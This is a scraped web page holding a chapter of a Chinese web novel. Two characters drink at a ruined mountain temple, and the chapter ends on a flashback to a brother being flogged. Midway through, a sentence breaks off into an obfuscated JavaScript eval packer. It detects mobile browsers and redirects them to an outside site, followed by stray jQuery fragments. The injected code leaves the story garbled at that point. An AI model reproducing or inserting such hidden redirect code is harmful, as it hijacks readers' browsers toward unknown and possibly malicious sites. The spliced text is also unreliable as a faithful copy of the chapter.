默认冷灰
24号文字
方正启体

23. 好奇酿祸

作者:炖糖本书字数:K更新时间:
    “裴二,”慕亭云本就不是一片驻足的停云,他是元宵夜里窜天的火炮。有他的地方,永远安静不下来,“裴二!”


    他哐哐当当地敲着书房的门,恨不得半边身子都在用力。两眼冒着怒火,又夹杂着失望。师姐又和裴珩出去了,又不带他。明明都说好了,怎么说话不算……


    “诶?”他脸上的表情僵住了,怔愣地看着门里的人,“你怎么在家?”


    裴珩了然:“赵门使不在?”


    慕亭云从他手臂下钻进去,扫视一圈,发现赵归梦果然不在这里,才敷衍地说:“是啊,三天两头不见人影。”


    “唔,”裴珩垂下双臂,任由他打量,“赵门使公务缠身,应是很忙。”


    慕亭云点了点头,又辩驳:“我也是戟雪门门使。”


    他说得有些心虚,又怕裴珩嘲讽他,因此板着脸,强撑气势。


    裴珩道:“是,有赖亭云为赵门使分忧。”


    慕亭云更心虚,又被他点醒:“说的没错,我应该去给师姐帮忙。”


    可是师姐去哪了呢?师姐好像对朔州很熟悉的样子,明明他们都是第一次来朔北。


    “我得去找师姐。”慕亭云从书房出来,“我得担起责任。裴二,你就留在家……怎么,你也要出门?”


    裴珩跟在他身后,还随手关上了书房门。慕亭云有些迟疑:“你在朔州,可还是个‘死人’,不怕出去被人认出来?”


    顺着裴珩的目光,慕亭云才发现天色已晚、暮色四合。这是个没有月亮的夜晚,夜空只有寂寥的几颗星子闪烁。夜空下,一切都变得模糊起来。


    他顿了顿,说:“那行吧,你可要注意别被发现了。”他老气十足地交代完,颇觉有几分“慕门使”的气势,只是很快又萎了:“我们正好可以分头找,可是师姐会去哪儿呢?”


    大庆已无宵禁。如果是瑞京,此时的街头依旧人头攒动,吵吵嚷嚷,妙龄女娘的脂粉香、街头各色点心的细甜香和春日泗水河畔的花香,交织在一起,在空气中融汇成香河。


    但这是朔州,大庆的最西北,大庆最冷清肃杀的城市。十年未变。这里没有脂粉香,没有糕点的甜香,也没有花香,只有……


    “酒咧,酒咧,卖酒咧!”巷口有个沽酒的老翁,推着一辆有些年头的木架车,车上摆着一排三个土黄色的陶土酒坛,个个都有半人高,腰肥肚圆。


    酒坛边上放了个敞口的陶土罐,浓郁的酒香把朔北肃杀的春风都熏醉了。它从小巷子一路踉踉跄跄到大街上,无知无觉地诱惑着路人。


    巷子的夜色更深。鬼使神差,裴珩踩着墙面的影子,一路走到巷口的影子里,问:“耆老,你这里都有些什么酒?”


    他闻到冷冽的香气,这香气让他想起一个人——她们如此相似。


    老翁见有人来问,笑得眯起眼,语气更热情。他用木勺舀起敞口罐里的清冽液体,缓缓流下,香气更加浓郁:“听您的口音,大人是从南方人来的吧?”


    这几日,城里来了好多京师来的大官儿。兴许是图新鲜,这些大官儿都想尝尝朔北的酒与京师的酒有何不同,竟让他的生意好了不少。


    老翁指着最右边的两个半人高的酒坛,殷切道:“枣儿酿、羊儿羔,这两种都是我们朔州才有的。出了朔州,那就是想喝也喝不到了。您尝尝?”


    他取出一个陶土酒碗,就准备往里面舀。


    那站在阴影里看不清面容的年青人却说:“不用了,各装一斤。”


    “好咧!”老翁手脚麻利地取出两个新的酒坛,开始装酒。红色的酒封甫一打开,浓郁的想起麻溜地钻入人的鼻腔,像一条无形的蛇,却有有形的魅惑,“再送您两只碗,加起来一共二十文。”


    裴珩拎着两坛酒,踩着影子离开。


    她会去哪儿呢?


    他目光幽幽,抬头往上看,夜里苍云岭的影子无比高大,像沉默着注视着朔州的巨人。


    夜里的山路并不好走,哪块石头能踩,哪块石头不能踩,哪里有荆棘,哪里是平坦的路面,裴珩却都很清楚。


    这条路,他走过数回。可今夜这一回,有什么不同呢?


    对于这座半坍塌的古寺来说,今夜自是不同。它在山间静默地数着流水的日子,数了一千多个夜晚。可今晚,它迎来了久未见面的朋友。


    禅堂里隐隐透出微弱的灯光,照着摇晃的树影,像一个个长了无数双细长手脚的伶仃山鬼。


    禅堂木门早就被山风摧毁。


    裴珩只一走近,就看见禅堂正中跪在地上的红衣少女。没了木门的禅堂自然也早就没有了蒲团。红裙少女跪在布满灰尘和枯叶的地面,低垂着头。生机与死气在看惯死生轮回的佛像前,诡异而和谐地拥缠。


    烛火摇曳,热蜡垂泪。


    少女的背影罕见地外泄出几分脆弱。


    脆弱。


    人都是脆弱的。裴珩见过各种各样脆弱的人,各种各样脆弱的情绪。无论何时,他总能轻易地看透那些脆弱背后的原因。


    这就是病与药的关系。可是今天这病,他开不出药方。他缓步上前,踏过厚厚的残枝败叶。这些早已逝去的生命,竟还能发出声响。


    赵归梦双手合十,听见动静,缓慢地回首看过去。


    昏黄不定的油灯下,少女的容颜竟有几分类似山间的精魅:“你怎么来了?”


    裴珩步入禅房,还未将酒坛放下,就发现角落里也有两坛酒,不由得挑眉:“酒肉穿肠过?”


    佛祖心中留,这话大和尚也常说。


    在这样心绪不宁的晚上,在这摇曳的烛火下,听见这熟悉的话,赵归梦竟然有了几分恍惚:“要喝得出去喝,不能在寺里。”


    这是大和尚为数不多的几条规矩之一。


    “好。”裴珩很是自然地垂下袖口,让少女借力站起来。


    赵归梦已经在这里跪了很久,心里一直在默诵大和尚教给她的心法,可是心中却依然没有得到平静。


    这只垂下的袖口忽然和大和尚垂下的半角僧袍袖口重合,她不由自主地拉住了。她抬头向上看,这是一张和大和尚截然不同的脸。可她不知为何,站起身后很久也没松开那半截袖子。


    苍云岭和玄武山黝黑的影子朝前蔓延,像是一个倒放的斗,越往前,斗口越收缩,影子越合拢。最狭窄处,是朔州静然矗立的城门。城门上灯火通明,是这暗夜里少有的温暖。


    往后,是陷入沉睡的朔州城,零星的灯光点缀着黑夜。


    两人一路走到悬崖边,悬崖的东边有块五尺高、五尺宽的巨石。巨石从地底钻出,像是个天然的屏风,隔绝了从崖底吹上来的冷风。


    巨石背后长满了半人高的枯草,如今横平竖直地躺在地上,乖觉地变成小榻。这是个欣赏崖边风景的好去处。


    赵归梦在下山前,经常来这里偷懒。大和尚总逼她念书,天可怜见,那些黑乎乎的符文,似乎有自己的主意,坚定地黏在书页上,死活不肯进她的脑子。


    大和尚说:“你要念书啊!”


    赵归梦叫:“念啦念啦!”


    她只是记不住。


    “你就是不用心。”大和尚说:“你记招式怎么那么快?”


    赵归梦心想,那招式还需要记吗?刀剑入手,自有它们的意志。她只需要让它们发挥自己的意志。


    刀剑听话,字符不听。问题不在我,赵归梦理直气壮。


    想到昔日的场景,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440260|168239||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵归梦心里变得有些沉重,她提起一坛酒,指尖用力,啵的一声,拔出了酒封,香气激荡而出。在这熟悉的崖上,连酒香都带着岁月的痕迹。


    裴珩解开绳子,拿出套在绳网上的酒碗,递给她。清冽的酒撞入酒碗,把空气熏醉。


    “你怎么知道我在这里?”赵归梦歪坐在枯草上,背靠着石头,像没有长骨头。她总是懒洋洋的,像没睡够,累得很。可是那双眼睛,总是警惕着观察着,像丛林里的豹。


    裴珩犹记得三年前的春朝节,他在一片模糊的黑洞洞的蝌蚪般的眼中,看到了一双星子。


    在摸到照夜清时,这双星子闪了一下。那一瞬,他的心也闪了一下。


    有趣,他记得他当时心里响起的声音。于是,他说:“这照夜清,就赠与你吧。”


    他看着那双星子更亮地闪了一下……


    此刻,他忽而觉得今夜的星辰,最亮的原来就在他身边。


    “我不知道,”裴珩依然正襟危坐,哪怕这是野外,也像身处庙宇之上,“我只是运气好。”


    找到她,算什么运气好?赵归梦自认倒霉鬼附体,她把酒碗端起来,非常豪爽地一饮而尽,发出满足的喟叹。


    暖流入喉,在胸腔里燃烧,在胃里翻腾。


    羊儿羔,这是大和尚最喜欢的酒。赵归梦颇有良心的站起来,满倒一碗,走到最边上的一座坟茔,蹲下.身去,慢慢地将碗倾斜,一线清凉醇香的液体缓缓地渗入泥土中,消失不见,就像真的有人在饮酒一般。


    大和尚,你可别在下面找阎王说我没良心,回来第一件事就是来看你,现在又请你喝羊儿羔。


    “请僧人饮酒?”裴珩问她。


    赵归梦又回到石头背后歪坐下来,说:“占了他们的好地盘,请他们勿要怪罪。”


    她又给自己满上,却发现裴珩碗里竟然还没有喝完,催促他:“你也尝尝。”


    她看着裴珩,好像这是她自家的酒,热情满满地介绍道:“羊儿羔,是朔北最香的酒。你很会买嘛,尝尝吧,跟瑞京的酒水很是不同。”


    一方水土养一方人,一方粮食酿一方酒。


    羊儿羔有着最温驯的名字,却辅之最浓烈的口感,从舌尖开始炸开,一路汹涌,最后奔腾入腹。


    裴珩不善饮酒,也很少饮酒。小时候,他看着大哥饮酒,醉后,或哭或笑,情绪比之平常,激烈万分。


    他那时好奇醉后到底是什么样的感觉,便央着兄长偷偷给他带一壶酒来尝尝。


    他很少提要求,又提出这么一个于他而言有些离经叛道的要求,裴暄虽然迟疑,但最终还是答应了,从泗水楼给他带回一坛很是清淡、专供给女娘的杏花衫。


    哪知,裴珩这样也能喝醉。


    裴珩不记得自己喝醉之后发生了什么。只知道再次醒来,已是日上三竿,误了上午的课业。


    醒来时,身边的随从换了张陌生的脸。新来的人支支吾吾说不清缘由,也不敢说清缘由。他心中一惊,连忙向后院祠堂冲过去。


    祠堂外面摆了一张条凳,他身边那个原来的随从就趴在条凳上,双臂无力地垂下,已然昏迷。随从被扒去了外裳,露出染了血的雪白中衣。旁边两人各拿了一二尺见宽、一寸许厚的木板,还在执刑。


    “住手!”裴珩厉声制止住那两人的板子,心中涌起强烈的不安,连忙冲进了祠堂。


    大哥赤裸着上身,跪在祠堂正中央的黑石地板。上方,是呈阶梯排列整齐的三排漆黑的神主牌,右边,是他手执荆条、不苟言笑的父亲。


    他在外面制止那两人执刑的时候,祠堂里已经听见了动静。只是这时候,父亲并未回头,仍然在鞭挞大哥早已经血肉模糊的脊背。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)